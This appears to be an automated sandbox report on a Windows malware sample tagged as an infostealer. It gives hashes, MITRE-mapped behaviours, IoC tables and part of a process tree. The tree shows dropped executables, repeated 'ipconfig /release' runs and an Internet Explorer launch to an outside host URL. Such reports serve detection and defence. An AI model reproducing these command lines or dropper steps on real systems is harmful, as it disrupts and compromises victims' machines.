3ab3bb8ab06996c56238c3f4340d7ded645cc2034be5f031e4a93f510297d96b

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/09/2026, 20:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260903-yxpkgser2t
SHA256 3ab3bb8ab06996c56238c3f4340d7ded645cc2034be5f031e4a93f510297d96b
MD5 e5a6dc233591978388da1819594dcbaf
SHA1 afb5bc6c6950a99b25b8856cf4b6a00a756ecc44
SHA512 b00c0ec4c6cd5dc0c7d533286923281aff9a8f1aac30571a4fde355585850917a99cb3ff0c7ba7ccfb2e54db3f90560fad470a69ce86893583724d8a2f471790
SSDEEP 3072:LGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:KXY4LK+a3lLNngoqRttA7
TLSH
T15434490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
2196	CP.exe
5040	tomgeywrog.exe
824	CP.exe
1700	CP.exe
6004	i_tomgeywrog.exe
2248	ywqoigbytr.sys
4328	CP.exe
2884	rlgeywqoig.exe
4044	CP.exe
2360	CP.exe
3260	i_rlgeywqoig.exe
5088	gdyvqoigay.sys
5588	CP.exe
5604	ysqlidywqo.exe
5572	CP.exe
5960	CP.exe
5888	i_ysqlidywqo.exe
1160	dyvqoigays.sys
4420	CP.exe
6060	kicavsnlfd.exe
4028	CP.exe
5272	CP.exe
6128	i_kicavsnlfd.exe
4668	qkicavsnkf.sys
5648	CP.exe
6000	fdxvpnifay.exe
6028	CP.exe
1772	CP.exe
2744	i_fdxvpnifay.exe
4864	fcxupnhfzx.sys
3432	CP.exe
1372	xvpnhfaxsp.exe
1516	CP.exe
1116	CP.exe
5740	i_xvpnhfaxsp.exe
976	rpkhczusmk.sys
5848	CP.exe
1492	kecwupmhfz.exe
4380	CP.exe
5244	CP.exe
4944	i_kecwupmhfz.exe
2436	rmkecwuomh.sys
5528	CP.exe
4496	zxrpjhbzur.exe
3696	CP.exe
5808	CP.exe
4292	i_zxrpjhbzur.exe
5432	ezwrpjecwu.sys
4508	CP.exe
328	uomgeywroj.exe
772	CP.exe
1340	CP.exe
3680	i_uomgeywroj.exe
1896	tomgeywqoj.sys
1144	CP.exe
4056	igbztomgey.exe
3284	CP.exe
2236	CP.exe
4844	i_igbztomgey.exe
5564	igaytqlidb.sys
5476	CP.exe
5956	bytqljdbvt.exe
3092	CP.exe
1712	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgeywrog.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicavsnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgeywrog.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvpnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czusmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvpnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbztomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytqljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmjecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqlidywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicavsnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kecwupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomgeywroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbztomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkidavqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqlidywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rlgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rlgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnhfaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnhfaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkidavqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecwupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czusmkecwu.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4472	ipconfig.exe
1044	ipconfig.exe
4988	ipconfig.exe
4904	ipconfig.exe
3160	ipconfig.exe
2448	ipconfig.exe
5280	ipconfig.exe
3324	ipconfig.exe
2248	ipconfig.exe
2080	ipconfig.exe
1336	ipconfig.exe
5868	ipconfig.exe
1744	ipconfig.exe
4404	ipconfig.exe
1820	ipconfig.exe
5404	ipconfig.exe
4372	ipconfig.exe
2512	ipconfig.exe
3736	ipconfig.exe
4164	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000086f1d7f7258e3143bd9871209cccd8a100000000020000000000106600000001000020000000d4999fbd47595061d01be099867808d04e6a76d1d2e881b586067225913cc05a000000000e8000000002000020000000bbb3a4f57ec7d08d77c07287056f54cc9ff78308200b505da009f9b64ad188e720000000dbf7f622f7cbd3a5757555520106ea836f1d817b68a3e31f97eb8be5eaf2ed6b40000000cdae2350bc65e125befdf6bc419b4ba6d07d03c3b0b889216ef500ce56708106e72cc938170fb636ce682f1a2183425cc9fbdac3417edce1e3e5aa35c341d028	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "495231182"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000086f1d7f7258e3143bd9871209cccd8a100000000020000000000106600000001000020000000c5f1b905d1e37779d9b2d16d9d782817889ec6bf130a4f485d8d878c637f989b000000000e80000000020000200000008bd5ae9369842178dde684d8e27df18885370b19cab186d4c3cbbf4628e398c020000000081a09f0a83a9a080ff374992bf691076ec9d3a4739d10569b71c698767350a7400000004791090e63a033bf7ea64e209183849f4ffd8a2a49434aca5a98c28cd894cfda0489be3197c9dcedae753b492b97aaf38c9d68597704f684094214596fad3b14	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20f445ace83bdd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1240004900"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{74D5E396-A7D3-11F1-92B0-FEE57B6CEB98} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31276000"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30c83eace83bdd01	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	6004	i_tomgeywrog.exe
Token: SeDebugPrivilege	3260	i_rlgeywqoig.exe
Token: SeDebugPrivilege	5888	i_ysqlidywqo.exe
Token: SeDebugPrivilege	6128	i_kicavsnlfd.exe
Token: SeDebugPrivilege	2744	i_fdxvpnifay.exe
Token: SeDebugPrivilege	5740	i_xvpnhfaxsp.exe
Token: SeDebugPrivilege	4944	i_kecwupmhfz.exe
Token: SeDebugPrivilege	4292	i_zxrpjhbzur.exe
Token: SeDebugPrivilege	3680	i_uomgeywroj.exe
Token: SeDebugPrivilege	4844	i_igbztomgey.exe
Token: SeDebugPrivilege	2324	i_bytqljdbvt.exe
Token: SeDebugPrivilege	4752	i_sqkidavqni.exe
Token: SeDebugPrivilege	6040	i_vsnlfdxvqn.exe
Token: SeDebugPrivilege	3868	i_nhfzxspkic.exe
Token: SeDebugPrivilege	712	i_czusmkecwu.exe
Token: SeDebugPrivilege	5372	i_zurmjecwuo.exe
Token: SeDebugPrivilege	2268	i_zurmkecwuo.exe
Token: SeDebugPrivilege	3048	i_rljebwuomg.exe
Token: SeDebugPrivilege	4492	i_ywqoigaytq.exe
Token: SeDebugPrivilege	5820	i_tnigaysqli.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5816	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
5816	iexplore.exe
5816	iexplore.exe
896	IEXPLORE.EXE
896	IEXPLORE.EXE
896	IEXPLORE.EXE
896	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 5816	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	86
PID 5816 wrote to memory of 896	5816	iexplore.exe	87
PID 3564 wrote to memory of 2196	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 5040 wrote to memory of 824	5040	tomgeywrog.exe	91
PID 3564 wrote to memory of 1700	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	95
PID 3564 wrote to memory of 4328	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	102
PID 2884 wrote to memory of 4044	2884	rlgeywqoig.exe	104
PID 3564 wrote to memory of 2360	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	107
PID 3564 wrote to memory of 5588	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	111
PID 5604 wrote to memory of 5572	5604	ysqlidywqo.exe	113
PID 3564 wrote to memory of 5960	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 3564 wrote to memory of 4420	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	120
PID 6060 wrote to memory of 4028	6060	kicavsnlfd.exe	122
PID 3564 wrote to memory of 5272	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 3564 wrote to memory of 5648	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 6000 wrote to memory of 6028	6000	fdxvpnifay.exe	134
PID 3564 wrote to memory of 1772	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 3564 wrote to memory of 3432	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 1372 wrote to memory of 1516	1372	xvpnhfaxsp.exe	143
PID 3564 wrote to memory of 1116	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 3564 wrote to memory of 5848	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	150
PID 1492 wrote to memory of 4380	1492	kecwupmhfz.exe	152
PID 3564 wrote to memory of 5244	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	155
PID 3564 wrote to memory of 5528	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 4496 wrote to memory of 3696	4496	zxrpjhbzur.exe	163
PID 3564 wrote to memory of 5808	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	166
PID 3564 wrote to memory of 4508	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 328 wrote to memory of 772	328	uomgeywroj.exe	172
PID 3564 wrote to memory of 1340	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 3564 wrote to memory of 1144	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 4056 wrote to memory of 3284	4056	igbztomgey.exe	181
PID 3564 wrote to memory of 2236	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	184
PID 3564 wrote to memory of 5476	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	188
PID 5956 wrote to memory of 3092	5956	bytqljdbvt.exe	190
PID 3564 wrote to memory of 1712	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	193
PID 3564 wrote to memory of 5324	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	197
PID 1208 wrote to memory of 3336	1208	sqkidavqni.exe	199
PID 3564 wrote to memory of 4784	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	204
PID 3564 wrote to memory of 5952	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	210
PID 1064 wrote to memory of 3532	1064	vsnlfdxvqn.exe	212
PID 3564 wrote to memory of 3524	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	218
PID 3564 wrote to memory of 4648	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	222
PID 5580 wrote to memory of 2084	5580	nhfzxspkic.exe	224
PID 3564 wrote to memory of 4240	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	227
PID 3564 wrote to memory of 2152	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	231
PID 5384 wrote to memory of 5992	5384	czusmkecwu.exe	233
PID 3564 wrote to memory of 5156	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	236
PID 3564 wrote to memory of 668	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	240
PID 5700 wrote to memory of 5556	5700	zurmjecwuo.exe	242
PID 3564 wrote to memory of 6088	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	245
PID 3564 wrote to memory of 4516	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	249
PID 1956 wrote to memory of 2484	1956	zurmkecwuo.exe	251
PID 3564 wrote to memory of 5468	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	254
PID 3564 wrote to memory of 3984	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	258
PID 3412 wrote to memory of 5704	3412	rljebwuomg.exe	260
PID 3564 wrote to memory of 3256	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	263
PID 3564 wrote to memory of 4604	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	267
PID 3888 wrote to memory of 5236	3888	ywqoigaytq.exe	269
PID 3564 wrote to memory of 1380	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	272
PID 3564 wrote to memory of 5512	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	276
PID 5008 wrote to memory of 5652	5008	tnigaysqli.exe	278
PID 3564 wrote to memory of 1540	3564	2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe	281

C:\Users\Admin\AppData\Local\Temp\2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-03_e5a6dc233591978388da1819594dcbaf_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5816 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:896
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tomgeywrog.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2196
- - C:\Temp\tomgeywrog.exe
    C:\Temp\tomgeywrog.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:824
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4904
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tomgeywrog.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1700
- - C:\Temp\i_tomgeywrog.exe
    C:\Temp\i_tomgeywrog.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6004
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rlgeywqoig.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4328
- - C:\Temp\rlgeywqoig.exe
    C:\Temp\rlgeywqoig.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4044
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3160
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rlgeywqoig.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2360
- - C:\Temp\i_rlgeywqoig.exe
    C:\Temp\i_rlgeywqoig.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3260
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysqlidywqo.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5588
- - C:\Temp\ysqlidywqo.exe
    C:\Temp\ysqlidywqo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5604
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5572
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2080
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysqlidywqo.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5960
- - C:\Temp\i_ysqlidywqo.exe
    C:\Temp\i_ysqlidywqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicavsnlfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4420
- - C:\Temp\kicavsnlfd.exe
    C:\Temp\kicavsnlfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4028
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicavsnlfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5272
